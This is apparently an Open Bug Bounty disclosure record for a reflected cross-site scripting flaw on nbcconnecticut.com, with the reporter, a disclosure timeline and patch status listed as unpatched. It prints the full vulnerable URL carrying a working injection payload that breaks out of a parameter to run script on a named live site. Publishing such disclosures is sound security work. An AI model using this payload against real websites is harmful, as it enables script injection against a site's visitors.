nbcconnecticut.com XSS vulnerability

2016-08-19T22:35:00
ID OBB:176633
Type openbugbounty
Reporter iandioch
Modified 2016-09-16T23:12:00

Description

Vulnerable URL:
http://www.nbcconnecticut.com/results/?keywords=qqqqq%3C%3E%22+%27&type;=%27;prompt(%27OPENBUGBOUNTY%27);//
Details:

Description| Value
---|---
Patched:| No
Latest check for patch:| 27.07.2017
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 36572
VIP website status:| Yes
Check nbcconnecticut.com SSL connection:| (Grade: A)

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability submitted via Open Bug Bounty| 19 August, 2016 22:35 GMT
Generic security notifications sent to website owner| 19 August, 2016 22:37 GMT
Notification sent to subscribers (without technical details)| 20 August, 2016 02:17 GMT
Vulnerability details disclosed by researcher| 16 September, 2016 23:12 GMT